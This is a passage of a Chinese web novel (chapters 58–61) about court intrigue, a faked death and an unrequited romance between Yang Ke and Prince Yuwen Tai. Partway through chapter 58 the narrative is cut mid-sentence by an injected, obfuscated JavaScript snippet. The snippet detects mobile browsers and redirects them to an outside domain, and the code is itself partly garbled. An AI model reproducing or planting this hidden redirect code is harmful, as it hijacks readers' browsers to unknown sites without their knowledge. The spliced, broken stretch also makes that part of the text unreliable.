“谢?她是武华殿的人,何来谢字一说?” 伯喻歉然颔首:“七弟失言了。” 58.章满 回到了观云阁,杨柯心中虽仍感失落怅然,但竟未如自己所料般,像一月前那么疼痛了。 看着天色放明,身子疲惫得也无暇再去多想,杨柯卸去簪环便和衣倒在床上,睁开眼时,已是第二日晌午。她揉着额角,照旧捧着文书往武华殿去。 方一踏进书房,瞥见宇文泰伏案批奏的侧颜,杨柯心底忽然掠过一丝异样的局促。 明明昨日自己行事并无差错,为何无端这般心虚? 杨柯暗自摇头,将这种古怪情绪归咎于连日劳累,低着头闷着声汇报完了所有文书。一趟下来,宇文泰倒是没发现什么异样,甚至破天荒地让她早早回去歇息。杨柯难得清闲,自然当即应下。刚掀开书房的珠帘,一阵凉气袭上了鼻尖,她猝不及防打了个喷嚏。 “昨日我还同伯喻说你身体康健,怎么今日便伤风了?”宇文泰的声音从身后传来,带着几分揶揄。 杨柯心里一滞:“是……宣王殿下问的么?” 话毕,转身朝他望去,那一双黑眸里闪着不怀好意的光芒:“你更希望是哪一种?” 杨柯垂眸淡笑:“若不是他主动问的,殿下又何必多此一举?” “他问不问是他的事,”宇文泰从容起身,足下脚步向杨柯缓缓靠近,“我说不说是我的事。” 杨柯后退半步:“那回不回答,便是我的事了。”声音却不似往常一般底气十足,轻飘飘的,好似不愿让人听见一样。 “聪明劲儿全用到这儿了。”宇文泰低笑一声,转身时手里的暖炉径自塞进了杨柯怀里,“让彩鸣带你去侧殿拿些紫苏,免得有人以为本王苛待下属。” 杨柯蓦地一愣,掌心的暖炉热烘烘的,隔着衣料也烫得胸口发热,可那股从心口漫上来的热流,却比暖炉更灼人,烧得她双颊薄红、耳尖发烫。 “殿下,府上来了急讯。”小顺子掀帘而入,声音里带着几分惶急。 宇文泰声音一沉:“什么事?” 小顺子轻叹了一声:“李城……没挺过申时三刻,血尽而亡了。” 宇文泰握笔的手顿在奏疏上,墨点洇开小团阴影,“知道了。拨三百两官银给李家,按四品仪制厚葬。” “是。”小顺子垂手退后半步,又接着道,“还有一事,陛下刚传了口谕,要召见殿下,还说要杨姑娘一同前去。” 宇文泰蓦地抬眼:“为何要杨柯去?” “陛下说……”小顺子觑着他脸色,“杨姑娘日后要担御侍令的差事,自然要熟悉熟悉政务,故而这回特地吩咐了让杨姑娘一同前去。” 过了一炷香的功夫,二人到了勤政殿,皇帝正坐于御书房内,六部尚书分席列坐两侧。 还未坐稳,皇帝目光便落到了杨柯身上:“泰儿,柯儿在你手下干得如何?” 宇文泰拱手正色道:“回父皇,杨姑娘行事稳妥,于文书案牍极是用心。” 皇帝手中茶盖拨弄着杯中浮叶:“嗯,不错。” 杨柯望向皇帝,心中微微发紧。他接下来的话,多半是要提及御侍令的差事了。可等了半天,这皇帝却久久不言,似乎对手里的茶叶更感兴趣,只皱着眉头,专注拨弄着茶盏里的浮叶,仿佛那几片碧螺春藏着万千机要似的。 杨柯悄悄瞥向宇文泰,却见他面色平静,倒也看不出什么波澜来。 演什么哑巴戏呢?杨柯正暗自腹诽,忽听内侍高声通传:“陛下,章将军已经抵达京城!” 皇帝执茶盏的手微顿:“哪个章将军?” “章满章老将军!” 皇帝忽而轻笑:“呵,回来得倒挺快。” “将军此刻正在宫门外请旨觐见。” 皇帝指尖叩了叩桌案,稍作沉吟,扬手一挥:“宣他入内!” 不出多时,一阵铿锵有力的脚步声从殿外传来。杨柯与众人一样,视线牢牢胶在来人身上。 百闻不如一见,她尤其好奇,能将大夏搅成一团乱麻的人,究竟是何等模样? 铁甲撞击声越来越近,终于,一道高大人影出现在殿门前——此人身厚肩宽,额角斜斜烙着一道三寸长的疤痕,从发际蜿蜒至眉骨,生生将浓眉劈成两段。浓眉下的双目,更似凛凛刀光,方正的腮边胡须青白,恰如钢针铁线。 章满大步入内,站定后跪得极慢,铁甲摩擦声刮过檀木地板,映得周围屏息的众人越发安静。 “臣章满,叩见陛下!”这声音如京城中央那尊千年古钟,震得杨柯身前杯中酒微微发颤。 皇帝徐徐走下龙椅,行至章满身前,双手虚扶其臂弯:“满兄远征归来,何需行此大礼?快起!” 章满却未急着起身。始终保持着膝盖触地的姿势,好似一尊石狮,稳如磐石。 待皇帝扶了第二下,他才撑着腰杆直起身子,甲叶摩擦时发出清亮的振音。 皇帝抬手虚按:“满兄远征劳苦,快些落座。” “多谢陛下。”章满退后两步在文臣列首落座,双手顺势搭在大腿上,腰背挺如枪杆,势同虎踞,不怒自威。 皇帝面带微笑:“满兄这次回来,带回了什么好消息啊?” 章满欠身离座半寸:“此次奉羲王殿下令,将丙字部调回,特献‘天子亲卫’,进驻京畿外围,略续前愆。” 这话听着谦逊,但在座诸位都心知肚明,所谓“续愆”不过托辞,实际是自愿将心腹之师置于天子眼皮底下,既交权示忠,又以“亲卫”之名与其他边军划出利益边界。这次章满回京,可谓是元气大伤。他不仅丢了兵权,更上缴心腹之师,往后章家的威势唯有靠章擎维系了。 皇帝略了四周众人一眼,眼底闪过微光:“有劳满兄这份心意,朕心甚慰。” 听言,一旁的郑仪也拱手赞叹:“章老大义,真乃社稷之臣。” 章满微微一笑,眼角刀疤随笑意扯出弧度却更显冷硬:“郑大人谬赞,老臣是按羲王殿下吩咐办事。这‘亲卫’二字,说到底还是陛下的恩典。” “出事了!出事了!”殿外忽然传来尖细的叫嚷声。 皇帝皱眉道:“一惊一乍,成何体统?” 李福瑞旋即转身,朝随行小太监冷声道:“速去查看,休要惊扰圣驾!” 小太监赶忙退身出去,须臾片刻,外头的喧哗声戛然而止,却见他脸色惨白地踉跄跑回。 李福瑞问道:“发生了什么事?” 他抖着嗓子道:“回……回陛下,兵部白大人的宅邸走水了,白大人他……” 皇帝冷声道:“白韬怎么了?” “白大人……殁于火场了。” 话音刚落,房内气氛顿时凝固,一时之间安静得连一根针的掉落都听得清清楚楚。 “简直荒唐!” 皇帝猛地起身,龙袍扫过御案,“大理寺前脚才拟了提审文书,后脚白韬就被烧死了?” 章满道:“陛下且息怒。不如着泰儿与魏大人即刻前往白府查探,待弄清火势源头再做计较。” 皇帝紧皱的眉头微微缓和,抬手示意宇文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568259|165772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泰:“你和长明速去白府,此事发生得蹊跷,一定要查出背后原因!” 宇文泰拱手领命:“儿臣遵旨。” “且慢,”皇帝忽然看向章满,口吻微缓,“今日是你舅舅回来的日子,快去快回,莫要误了家宴!” 章满起身离座,抱拳颔首道:“多谢陛下挂怀,但查案事大,还是让泰儿安心办差为要。” 皇帝道:“也好,便依你舅舅所言,速去速回。” 宇文泰沉声答应,随即提步退下。杨柯见状,也跟着他走了出去。 杨柯小跑着追上他:“殿下,要不要带什么紧要的东西?” 宇文泰脚下的步子忽然停住,杨柯认真地等待着,过了一瞬,却听他扔了句话过来:“去了白府,别乱说话。” 马车刚拐进白府所在的那条大街,一股烧焦的气味便循着街巷找了过来。 终于到了白府,魏长明早已在门口候着了。见马车停稳,二人下车,他抬手作揖道:“泰儿,杨姑娘。” 宇文泰拾级而上,问道:“姐夫可曾进去查验过?” 魏长明点点头:“白尚书烧得面目全非,只能从冠带形制辨认。你们也进去瞧瞧吧。” 杨柯跟在宇文泰身后跨过门槛,转眼就瞧见了放置在院中的尸首,焦黑的骨架蜷曲如虾,唯有腰间的尚书玉佩完好无损。 前些时日还在武华殿打趣自己的老头,如今却化成了一具枯骨,杨柯心头不免感到怅惘。 她弯腰俯身查看,忽然嗅到一缕熟悉的香味——柏子香。这是大理寺典狱司的牢房内惯用的驱虫香,上月跟随宇文泰提审马冀时,杨柯在后者身上闻到过一模一样的味道。 细嗅之下,这香气倒不似短暂沾染,更像常年囚于大理寺牢房所致。怎地白韬还未被皇帝降罪,先自个儿跑去大理寺蹲上牢房了? 杨柯暂时按下心头疑云,继续察看尸体。她学着仵作的手法,用银刀轻刮尸体手臂上的冰霜,行至右手时,却突然顿住:这尸体的拇指与食指间结着层黄茧,而茧纹走向分明是常年执笔的文人痕迹,但白韬作为兵部尚书,因着常年挽弓的缘故,厚茧更该出现在左手虎口的位置。 她立即起身去查看左手,却并未发现任何黄茧的痕迹,只有焦黑的皮肉。正狐疑不决,宇文泰的声音突然刺破了沉寂:“这是前几日送来的辽东银丝炭?” 他正拿着火箸,摆弄着地上的一盆焦炭。杨柯心中奇怪,这无缘无故的,他为何不去查看尸体,反倒关心起院里的炭火了? 却听侍卫统领应道:“正是。卑职已按殿下吩咐,混着官炭送去了各家大人府上。” “混炭讲究火候。”宇文泰手里的火箸敲了敲炭盆边缘,“记得提醒他们,要用松枝引火,火候过了易生烟,坏了屋子。” 话音未落,杨柯抬眼朝他望去,却见他的目光并未落在炭盆上,而是从尸体左手的虎口处转向自己。一双漆黑眸子映着炭盆里的红光,恍若牢狱内滚红的刑具:“只要烧干净了,才不伤肺腑。” 杨柯心里一惊,难道宇文泰是在暗示自己?依照他昨日的态度,白韬的生死哪里是不由他控制,分明全在皇帝的一念之间,不然白府为何无故走水?眼下这具尸体处处透着古怪,无不在佐证偷梁换柱的可能。或许真正的白韬早已被暗中转移,说不定此刻正在哪处逍遥呢。念及此,杨柯心里反倒松快了许多。 可还没等松完一口气,她余光瞥见仵作捏着铜尺凑近尸体右手。杨柯下意识瞄向炭盆,心中暗生一计。 59.心伤 杨柯忽然踉跄着后退,脚底碾过石板上的冰凌,整个人朝着炭盆撞去:“哎哟——” “哐当!”炭盆轰然翻倒,烧红的银丝炭应声滚落一地,与石板上的残冰相触,滋啦一声,腾起半尺高的白烟,混着焦糊味在冷气中炸开。 众人视线霎时聚拢,院内鸦雀无声,气氛降至冰点。 “殿下恕罪!”杨柯见状,当即跪伏在地,眼角余光瞥见一块红炭骨碌碌地滚向尸体,恰好砸中右手,将那处笔茧烫得焦黑,再难辨形。 “胡闹!”宇文泰袍袖一甩,厉声呵斥,“平日里毛毛躁躁惯了,如今还不知收敛?若是再次走水,你要怎么办?”他猛地转身,盯着身侧的侍卫,“还不快用沙盆覆了炭火!” 侍卫应道:“是!”于是赶紧拿来铜锹,将满地的炭火一一收起。 一旁的魏长明见站着的宇文泰怒火难消,跪着的杨柯垂首不语,气氛甚是紧张,于心不忍,接着劝慰道:“杨姑娘今日头一回见到这样的阵仗,难免失了分寸。好在火势未延,你也莫要过分责怪她。” 杨柯盯着侍卫用铜锹铲起最后一块银丝炭,余光又瞥见仵作正要凑近尸体,于是陡然提高声音:“殿下要罚便罚!罚臣去扫茅厕也罢!” 众人先是一愣,随即发出压抑的低笑。杨柯又去瞥那仵作,见他注意力成功被自己转移到了别处,心中松了一口气。 “扫茅厕?”宇文泰眉峰微挑,“三日前你打翻墨汁污了卷宗,五日前碰倒烛台,燎了半幅军报,”他逼近两步,但眸中怒气早已不见,“你且说说,本王该让你扫多少座茅厕?” 杨柯忽然仰头,换起哭腔:“殿下明鉴啊,白大人当年施恩于我,如今他老人家骤然西去,小人心中悲痛欲绝、五内俱焚,才不小心踹翻了炭盆!求殿下念在白大人往日恩德,饶了小人这遭吧——” 还没等众人反应过来,她突然扑向尸体,哇的一声哭了出来:“白大人啊,您怎么就突然走了?当年在寒山寺施粥救我一命,如今连最后一面都没赶上——”她趴在尸体上哭天抢地,左手却在伏身时悄悄探入袖中,将早已藏好的炭灰悄悄抹上尸体鬓角,焦糊味瞬间盖过了原本的柏子香。 众人皆惊呆在原地,宇文泰却不为所动,冷眼盯着抽噎的杨柯,沉声道:“哭够了没有?哭够了便去领三十鞭。” 魏长明虽在刑部多年,见惯了生死跌宕,此刻也不由得心中动容。他上前半步,轻拍宇文泰肩头:“泰儿啊,何苦为难一个姑娘家的?白大人刚走,便容她这一回吧。” 宇文泰视线一转:“那姐夫的意思是?” 他低叹一声:“杨姑娘失了分寸也是人之常情。再者,若处罚过重,倒显得不近人情。” 杨柯顺势道:“殿下息怒!臣再也不敢了!” 宇文泰语气稍缓,俯身扬声道:“既然你也知错,那便跪在此处思过。” “谢殿下开恩——”杨柯伏身叩首,她听见宇文泰袍袖带起的风声掠过耳畔,紧接着是极轻的一句:“检查尸体,别留破绽。” “时候不早了,”宇文泰抬手揉了揉眉心,恢复了几分倦怠之态,望向魏长明时眼角微弯,“舅舅今日归京,姐夫不如同我一道去接风?” 魏长明闻言微怔:“老将军多年未回京城,晚辈确实该去拜访!”他瞥了眼仍跪在院中的杨柯,颔首道:“走吧,莫让老人家久等。” 二人又叮嘱侍卫几句,便并肩出了白府,往章府的方向前去。 过了大半日,杨柯终于从白府回宫。天色已经全黑,外面渐渐落起了雨。 前几日兵刑二部连轴转的杂事终于告一段落,她总算得出闲空能好好休息一下。 刚沐浴完毕,杨柯坐在妆台前揉着发僵的后颈窝,忽然想起御侍令的差事还悬着。铜盆里的热水还蒸腾着热气,此刻她却没有了一点儿闲心。 “折磨人呐!”杨柯抓乱半干的头发,铜盆里的热水被她拍得四溅。但眨眼间,她脸色一变,对着铜镜开始挤眉弄眼。她先扯起左嘴角,又扯起右嘴角,最后整张脸笑得比哭还难看,活像被人塞了把酸梅。 “见鬼!比溜门撬锁还费劲!”她伸手戳了戳自己僵硬的腮帮,咕哝道:“管他呢,横竖是要挨骂的!” 气消了下去,她又对着镜子清了清嗓子:“殿下,您还记不记得御侍令的差事……啊呸!太谄媚了!”她猛地甩了甩头,“宇文泰这人最烦虚头巴脑的,得换个法子……” 窗外的雨点打得窗纸沙沙作响,杨柯眸中忽然闪过一丝狡黠。她猛地从凳子上起身,抓起椅背上的狐裘往身上一裹,便大步走出门外。 要成功说服,不如拿些东西讨好他。杨柯绕去膳房,撬了块御膳房新制的玫瑰茯苓糕,又摸出半罐许久前得的蒙顶甘露,兴致冲冲地往书房里去。 外面的雨越发没紧没慢地下个不停,杨柯拂了拂脸颊上的水珠,踮脚往书房门缝里觑了眼:“公公,殿下回来了吗?” 小顺子缩着脖子往袖子里拱了拱,也没说话,半晌才道:“回是回来了,只不过此刻,殿下心情想来不会太好。” 杨柯心里一紧:“为何啊?” 小顺子低声道:“章老将军今晨递了辞呈,殿下又刚从章府回来,”他偷瞥了眼紧闭的书房槅门,声音压得更低,“听说老将军把兵符都交了,这会儿殿下正对着墙上的舆图出神呢。” 杨柯暗自寻思,章家如今元气大伤,章满不知又跟宇文泰吐了什么苦水,此刻他多半不会好过。但转念一想,自己的事迟早也得办,不然那魔丸可得折腾死她,于是道:“公公,我特意准备了殿下爱喝的茶,喝点茶说不定就高兴了。” 小顺子点了点头:“姑娘可别说是奴才多嘴。” “放心吧。”杨柯走进书房,宇文泰正伏案细看着手上的文书,长眉微蹙,目不转睛。 她轻声道:“殿下,忙了许久了,休息一会儿,喝口茶吧。” 宇文泰沉声道:“放那儿就行。” 她将木盘放置在窗边的案几上,立于一旁静静等待。 “今日在白府,你做得不错。”宇文泰忽然开口,语气中罕见地出现了赞赏。 杨柯心中一喜:“多谢殿下夸奖。” 宇文泰颔首垂眸,视线又回到了书上。过了许久,见她仍杵在原地,于是问道:“你有别的事?” 杨柯仔细端详他的神情,指着窗外,对他嘿嘿一笑:“殿下你瞧,外面下起雨来了。” 宇文泰面露狐疑:“杨柯,你今日吃错药了?” 杨柯解释道:“我是想着,殿下劳累了这些时日,别总是在房里闷着,不妨出门赏赏雨。” 他重又垂眸:“不必。” 杨柯愣了愣,不知该如何继续开口了。 宇文泰见她又是呆呆不动,索性放下了手里的书卷,直视着她:“你到底有什么事?” 杨柯攥了攥袖口,索性直言:“殿下,请允我调去勤政殿。” 宇文泰皱紧眉头:“为何?” 杨柯反问道:“难道不是陛下的旨意?” 他继 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杨柯垂眸轻声道:“殿下,我想说的不是这个。” 他的眼神暗了下去,静了静才道:“我知道你曾与伯喻交好,但他并非良人。” 听到伯喻这两个字,杨柯叹了口气,声线低哑:“殿下也许不明白,被伤过的心需要很久才能恢复。” 外面的雨声越来越大,宇文泰却沉默了。 杨柯心里其实明白,虽然自己是武华殿的女官,但这段时日以来,他的关心早已超出了正常界限。纵使她再迟钝,也能朦胧知道他的心意。可她却一直麻痹着自己,以为只要他不点明,自己就能一直逃避下去。 杨柯见他一言不发,开口道:“其实你不必说,我也清楚你对我的心意。但喜欢和被喜欢终究是不一样的。” 宇文泰蓦地抬眼看向她,眼神中满是受伤和不甘,这是杨柯第一次看见他的脸上流露出这样的神情,心中不禁一酸。 他旋即将目光移开,站起身来,一步一步走到窗前,神色黯然的脸庞上,带着一抹难以掩饰的凄然之色。 杨柯意识到方才的那句话已经伤了他的心,心里开始后悔起来。 良久,窗边忽然传来一句:“我可以等你。” 杨柯心中一震,纵然是铁石心肠,也会被这样的真心所感动。 她难以置信地看着他的侧影:“宇文泰,比我优秀的女子这京城中哪里没有,你若想要,她们定会排着队来找你,现在又是何苦?” 宇文泰转首凝视着她,眼神中已是不容更改的坚定:“我认定你,你值得。”他慢慢走上前,眼中带着深情和小心:“你要多久走出来,我便等你多久。但是,请你给我一个机会。” 杨柯的眼眶不禁红了,面对这颗赤子之心,她竟惶然不知如何面对。 宇文泰静静地看着她,等待着她的发落。 杨柯将头别向一边,良久,才艰难地开口:“对不起,阿泰,忘记他太难。” 宇文泰眸中火热终于熄灭,凉凉道:“我不想听你第一次唤我阿泰,是为了伯喻向我抱歉。”他提步走出大殿,凛然立于雨中,顷刻之间浑身湿透,但他却示若惘闻。 黑暗里,雨幕毫不吝啬地洒下,在地上结成一面巨大的镜子,将人间的破碎照映得一览无余。 雨中传来他的声音:“阿柯,他能走进你的心,为何我不可以?” 60.可馨 自从那晚以后,杨柯虽每日照旧去武华殿呈递文书,但却鲜少见到宇文泰,不知是他太忙,还是刻意为之。不过无论如何,两人之间的尴尬已经被这些忙碌渐渐冲淡了。 她回到观云阁,刚坐下来,便打了个冷颤。初春的天气总像个耍赖的顽童,前一阵还暖意洋洋,下一刻便乍暖还寒了。一股冷风不讲道理地灌进来,直刮得人肝肠寸断。即使是龙气鼎盛的紫微宫,也难抵这刺骨寒意。 勤政殿外,刚完成奏对的章满缓步而出,他已经脱去了戎装,身上的紫色官服勉强把他周身的杀伐之气压了下来。 “舅舅,不知您是否得闲,外甥有话想与您聊聊。”宇文泰早已在门外候了许久,对于章满的行踪,他仍然像小时候那样恪守分寸,即便了如指掌,也不会贸然打扰。 章满挥手往宫门的方向引了引:“走吧。” 二人肩并肩往外走去。日光倾泻而下,章满不自觉地眯起了眼睛,语气中多了些欣慰:“这回多亏了你在京中把持局面,擎儿那边才能安心坐稳位置。” 宇文泰问道:“擎哥目前如何?” 章满神色一肃:“他正在西北一带加紧布防,打算下月直取天河城。” 听到天河二字,宇文泰心里忽然一滞:“不知舅舅是否还记得李城?” 章满的视线顿了顿:“他是李冲的侄儿,当年成功打下天河,他赔进去了半条腿。”话音迟疑了一瞬,又问道:“他还在京城?” “不在。”宇文泰语调平静无波,“三日前,他在大理寺门前自戕。” 章满略带惊讶:“为何在大理寺?” “那日正是李冲问斩之期。” 章满竟笑了出来:“李冲早就知道自己会有这一天。” 宇文泰追问道:“舅舅何出此言?” “五年前他离开前线、退居京城的同时,也在柔然购置了一套别业。” “去柔然?他想做什么?” 章满答道:“不为别的,就为了他一家妻小。”语气逐渐冷了下来,“那宅子,还是章家给他买的。” “舅舅考虑得实在深远,连退路都替故人谋划周全。”宇文泰的语气半是恭敬,但另一半却是明晃晃的嘲讽。 章满听言一愣,他转过头,开始好好端详起自己的外甥来。 在他的印象里,那一双眼睛总是坦坦荡荡,但终究还是透着些嫩。可如今,他却嗅到了一丝危险的气息——幼狮终于长出了獠牙,随时会咬向雄狮的咽喉。但他并不担心,因为无论如何,他宇文泰的身体里,始终流着他章氏的血脉。 章满忽然仰头大笑:“我这个老头子算得了什么,殿下把宫家连根拔除,倒是不沾一滴血。” 宇文泰也跟着扬起了嘴角,但眼底却不进一丝笑意:“您是如何知晓的?” 章满的脸上挂着一样的笑容:“虽然我人在朔州,但京城发生的每一件事,你们清楚的我都清楚,你们不清楚的我也清楚。” 面对自己向来敬重的舅舅,宇文泰已不想再虚与委蛇,于是直视对方,沉声道:“您曾说过,傲不可长,欲不可纵。泰儿想知道,现在的您,当如何理解?” 章满也收起了笑意:“泰儿,我知道你怨什么。但今日必须要告诉你,大夏不可一日无西北,西北不可一日无章氏。这二十字,是我章家的荣光,也是我章家的诅咒。” 宇文泰望去宫阙的檐角,话语轻飘飘地落在风里:“柔然与大夏两国交好,对所有人来说都是一件好事。” “对章家不是!”章满侧首喝问,浑浊的眼珠布满血丝,“你到现在还不明白?难道十年前麟儿的教训还不够?” 宇文泰的眼眸骤然黯淡,他看见房檐上的那只麻雀,使劲扑腾着翅膀却飞不过小小的三寸天地,十年前的窒息感又重新袭来。 “飞鸟尽良弓藏,狡兔死良狗烹。柔然不能不打,但不能全打。没了外敌,章家的十万铁骑,便是陛下眼中的刺!” “可这和通敌有什么关联?” “通敌不过是维系战局的手段!”章满重重喘息,苍老的面容扭曲成困兽般的狰狞,“你以为边关将领甘愿背上骂名?” 看着舅舅惋叹的样子,宇文泰感到厌恶的同时又平生出一阵悲凉。 “若您还想为章家积德,就该助擎哥早日夺回本就属于大夏的土地。”话音落下,人也已经走远。 已过了晌午,匆忙吃完午膳,便钻进书房开始批阅今日的文书。杨柯刚做完手头的活,还没来得及伸个懒腰,青桃便着急忙慌地跑进来。 “青桃,咱们进宫都快大半年了,怎么还是冒冒失失的?” 青桃喘着气道:“姑娘,章二姑娘想见你,约了在猎苑。” 杨柯一脸疑惑,自从刘悦出事以后,她便离了宫,搬回章府去住,鲜少在宫中见到她了。今日章满入宫奏对,她也跟着进了宫,按理来说她第一个要去找的应是宇文泰才对。 “好,我换套衣服,马上就去。” 夕阳染红了天空,云朵被火烧过一般翻卷在灰白色的穹底上,溅出金黄色的光辉,洒在整片林场里,如同一片燎原大火的返照。 一身绯红的章可馨骑坐在马上,瞧见杨柯进来,便远远地向她招手,立刻催马赶来。灵巧有力的身姿跳跃在金色光辉下,恍若一道刀光,划破了傍晚的昏沉。 “吁!”红衣勒马停在身前,章可馨下马牵起缰绳,朝她挥手道:“陪我一同走走吧。” 二人抬步往林场里去。冬雪刚刚融化,踩在草地上,软软地挤出几滴雪水。 “小时候,擎哥、二哥会带着我一齐跑到塞外骑马。那时候塞外的人可多了,羌人、氐人、汉人,还有鲜卑人,常常聚到一起在湖边喂马吃草。等到太阳落了山,”她忽地伸出攥着马鞭的手,指着远处的夕阳,朗声道,“看!那日的太阳就像今天一样,红得像草原上的山丹。” 杨柯顺着她的手指望去,太阳如同天空吐出的红色巨轮,章可馨就站 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“突厥察尔木王爷。” “为何是他?” 章可馨淡视着夕阳:“他们想要求娶大夏的公主。” 杨柯脸上的表情也凝住了。 当时出塞,她只记得察尔木在席上露面过一次,他和章可馨毫无接触的机会。宗室之女中,除了岁数尚小的庆宁,其余皆嫁作人妇,唯一有资格的便是乐白。这场婚事,与其说是两国之间的交好,不如说是章满为谋求一丝生机,用女儿远嫁作为代价讨好皇帝。而皇帝之所以答应突厥的要求,正是因为朝中流失了大量猛将,突厥骁勇的军队则是最好的新鲜血液。更讽刺的是,这一系列连锁反应,恰恰是章满欺上瞒下、玩弄权柄的后果。 她仍想确认章满是否还存有一丝良知:“陛下可否问过章将军的意思?” 章可馨的眼里同时露出悲伤和倔强:“父亲并未回绝,他以我作为大夏公主的身份和亲为荣。” 一束强光猛地袭来,杨柯睁大双眼,任由它刺穿瞳孔,可她却分明感受到,那光已然穿透进了心底,化作熔岩底下亟待迸发的火焰。 她接着问道:“宇文泰呢?他可有说什么?” 章可馨垂下长睫,怅然苦笑道:“二哥如今又能做什么呢?” 杨柯问出这句才意识到自己的愚钝。宇文泰又何尝不是处于刀口舔血的煎熬之中。更别提宸妃了,她的眼里只有章氏和皇位。 章可馨将手放在她的肩上,神情像是要诀别一般:“杨柯,刘悦死后,你是我在宫中唯一一个朋友了,也许你并不这么认为,但我不管。今日我找你来,是想和你最后说几句话。我走了以后,你要好好对待二哥,”她用力握着杨柯的手,脸上的悲伤已被冷静挤占,天边的火红倒映在她的眼底,像是荒原里未熄的野火,“他喜欢你,他比伯喻更喜欢你。也求你为了我,在他身边的时候好好照顾他。” 61.落寞 太阳落山了。 夜半负责服侍宇文泰的宫女走了出来,手上端着食案,上面的碗盏都盖着,想来里头的饭菜是碰也没碰。 杨柯掀开帷幔,宇文泰正斜倚在案几前,一股酒气弥漫在他周围。 “殿下今日好雅兴,喝的是什么酒?”杨柯故意提高了声调,想要缓解一些沉郁的气氛。 宇文泰似未听见,只是抬手往酒杯中斟酒,水珠溅到桌案上,“我一直以为,只要我多分走六部的权力,便能为章家多赢一分,便能保护我想保护的人。可为什么,他们都被赶走了?” 杨柯对四周的侍女吩咐道:“你们先下去。” 宇文泰低声呢喃:“他们都被我赶走了……” 杨柯按下他手里的酒杯:“你喝多了,殿下。” 宇文泰撑案站起:“大哥被我赶走了,可馨也被我赶走了,李将军,还有白伯伯……” 杨柯心中泛起一阵酸楚,安慰道:“他们不是被你赶走的,殿下,不要再自责了。” 宇文泰凝住迷乱的眼神,定定地望向她:“我也以为,只要你来到我身边,慢慢地,你就会接受我,可我又错了。” 杨柯轻叹道:“殿下……” 他闭上了眼睛,缓缓道:“阿柯,能不能不要叫我殿下。” 杨柯无奈,随即改口:“阿泰,你喝多了。” “不,我清醒得很。我知道自己在说什么。”他抬起沉沦的双眼,“如果你愿意,就留下来听我说说话,陪陪我。” 杨柯看着他混乱的模样,不禁感到心疼。扶住他的手臂引他坐下,生怕他再摇摇晃晃地跌了身子,“你说,我愿意听。” 宇文泰看着蒙上一层柔光的杨柯,心里荡起了涟漪:“我问你,你为何要来我这?” 杨柯沉思了良久,道:“因为师父,也因为你。” 他露出不信的神情,杨柯继续道:“我没有骗你。起初,本想着能帮衬着师父些,反正剩下两年,在哪儿待不是待。可来了殿下身边后,才发觉事情越发不像我想象的那样了。” 宇文泰的黑眸微微一眯,静了静,方道:“你想象的是怎样?” 杨柯偷偷瞄了他一眼,“借着殿下的光,偷点儿朝堂的秘密递给师父。” 宇文泰支起手臂,斜倚在垫子上,凝神望着杨柯,烛光照得她的脸格外柔和。 杨柯自嘲地笑了笑:“兴许是我没殿下和宣王的本事,又不像你们那般狠心,做不到置身事外,就连一直与我作对的刘悦出了事,都能为她跑前跑后,结果到了最后却也什么都做不了。”声音越来越小,屋子里好安静,静得只能听见他俩的呼吸。 宇文泰就这样撑着头静静地听完她的话,而后缓缓道:“这个皇宫里,最不缺的,就是既有本事又狠心的人。” 杨柯见他接下来像要夸自己,于是提前奉承道:“殿下今日喝多了酒,话也变得好听了。” 他弯起嘴角,笑声从胸膛里逸出来:“像你这样拍马屁的人当然更多。” 杨柯讪讪一笑:“似乎殿下的酒量十分不错。” 兴许是一时头晕的缘故,宇文泰竟愣了一会儿才反应过来她话中的揶揄:“其实我的意思是,这宫里唯独你有颗菩萨心肠。天下熙熙,皆为利来,天下攘攘,皆为利往。这句话用在皇庭之内,没有更合适不过的了。我从小到大,见到最多的,唯有为利而来的人,开口闭口没有一句实在话,只有谁绕的圈子更多。倒是你这样的人,莽莽撞撞,虽总是与人作对,但也简单赤诚。” 杨柯嘿嘿一笑:“能从殿下嘴里听到夸我的美言,也不亏了今晚的佳酿。” 宇文泰笑睨着她道:“你的心虽然不狠,但嘴倒是挺快。” 杨柯顺势道:“不瞒殿下,我这嘴皮子功夫全是跟我娘学的。” “哦?” “我娘出身商贾,她爹一心想着做买卖赚大钱,也不管她,她从小便没读什么书,也认不得几个字,和我爹相识后,发现此人又会作诗又能画画,肚子里全是她没有的笔墨,立即便答应嫁给这个老头。可惜啊,成也萧何、败也萧何,嫁给杨涛以后,她才发现笔墨还是在自己肚子里的好——因为我爹除了会写字作画以外,什么也不会。” “生了我以后,她越发看重读书这回事。我刚学会说话,娘便催着爹带我读书认字,后来到了能写字的年纪,又请了私塾先生来教,可我实在太小,听不懂老头嘴里念叨的之乎者也,一上课便犯困,后来先生实在没法,向我娘请辞,我娘只好又找了个新的先生,但还是一样的结果。后来有个先生对我娘说,‘你的女儿实在愚钝,请神仙来都教不好。’我娘当场便恼了,开口就和先生辩论起来,硬生生把那老头给骂哭了。”杨柯摇头叹气,“从此再也没有先生敢来我家教书了。” 她本以为宇文泰又会开口讥讽,可他只是凝着自己,眼里是少有的温情脉脉,她接着道:“后来我娘就带着我去各地上门求教,我也跟着她学会了些嘴皮子功夫。不过最后才发现,身边就有现成的老师。” 宇文泰疑惑道:“为何这样说?” 杨柯道:“你忘了吗?我们算是同门师兄妹呢。” 他愣了一瞬才反应过来,随即展颜一笑,烛光里,宇文泰的眼中是从未有过的畅怀笑意。 次日一早,宇文泰便传唤小顺子过来,让杨柯去正殿。还没到正殿,便见着他抬脚走出来,见了她后,才说道:“陪我出去一趟。” 稀里糊涂地上了马车,杨柯忍不住问道:“殿下,我们这是要去哪儿?” 宇文泰道:“到了你就知道了。” 颠簸了一段时辰,马车带着他们到了京城郊外的一处驿站边上。杨柯心里疑惑,谁要离开京城? 下了马车,杨柯的眼睛都看直了,面前站着的竟然是白韬!看来那日自己推断的果真没错,白韬确实没死。 宇文泰几步上前,拱手道:“白大人,该道的别是否都已道完?” 白韬笑了笑:“老朽都一把年纪了,往日的同侪也去了地底下,还有哪个要道别的?” 